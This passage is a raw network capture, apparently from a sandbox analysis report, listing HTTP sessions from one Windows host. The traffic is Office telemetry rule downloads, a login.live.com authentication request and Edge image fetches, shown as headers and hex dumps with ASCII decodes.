G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-16547b76f7f8dwtrhC1DFWd1zn0000000ngg000000001es1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:39 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-16547b76f7fk9g8vhC1DFW8254000000023000000000rmty x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:39 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-16547b76f7fht2hfhC1DFWbngg00000001yg000000003c2y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:39 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49920	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 15:16:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:39 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: 349786f9-b50e-453e-9148-cc1830498242 PPServer: PPV: 30 H: PH1PEPF0001B86D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:39 GMT Connection: close Content-Length: 11392
2024-11-15 15:16:39 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:39 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-16547b76f7fd4rc5hC1DFWkzhw00000001p000000000rw4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:39 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49927	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:39 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 12 Nov 2024 13:30:55 GMT X-Datacenter: westus X-ActivityId: d76789f8-3945-49cd-9853-d102590122da Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=166574 Expires: Sun, 17 Nov 2024 13:32:53 GMT Date: Fri, 15 Nov 2024 15:16:39 GMT Connection: close
2024-11-15 15:16:39 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151639Z-1866b5c5fbbz7hb5hC1DFWru7c000000018000000000mqqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-1866b5c5fbbzzh8chC1DFWdrc40000000160000000005p26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: dc8c3ba3-601e-003e-42c5-363248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-164f84587bf6n6jwhC1DFW90fn00000000q000000000b7gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: da143b71-401e-0048-1c09-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151640Z-1866b5c5fbbldb6rhC1DFW4bew00000001n000000000henz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49934	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:40 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:40 UTC	551	IN	HTTP/1.1 200 OK Last-Modified: Sat, 09 Nov 2024 17:21:55 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 816bc06e-9ac1-41c8-84a7-557d7b72aa1c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 Content-Length: 4096 Cache-Control: public, max-age=309994 Expires: Tue, 19 Nov 2024 05:23:14 GMT Date: Fri, 15 Nov 2024 15:16:40 GMT Connection: close
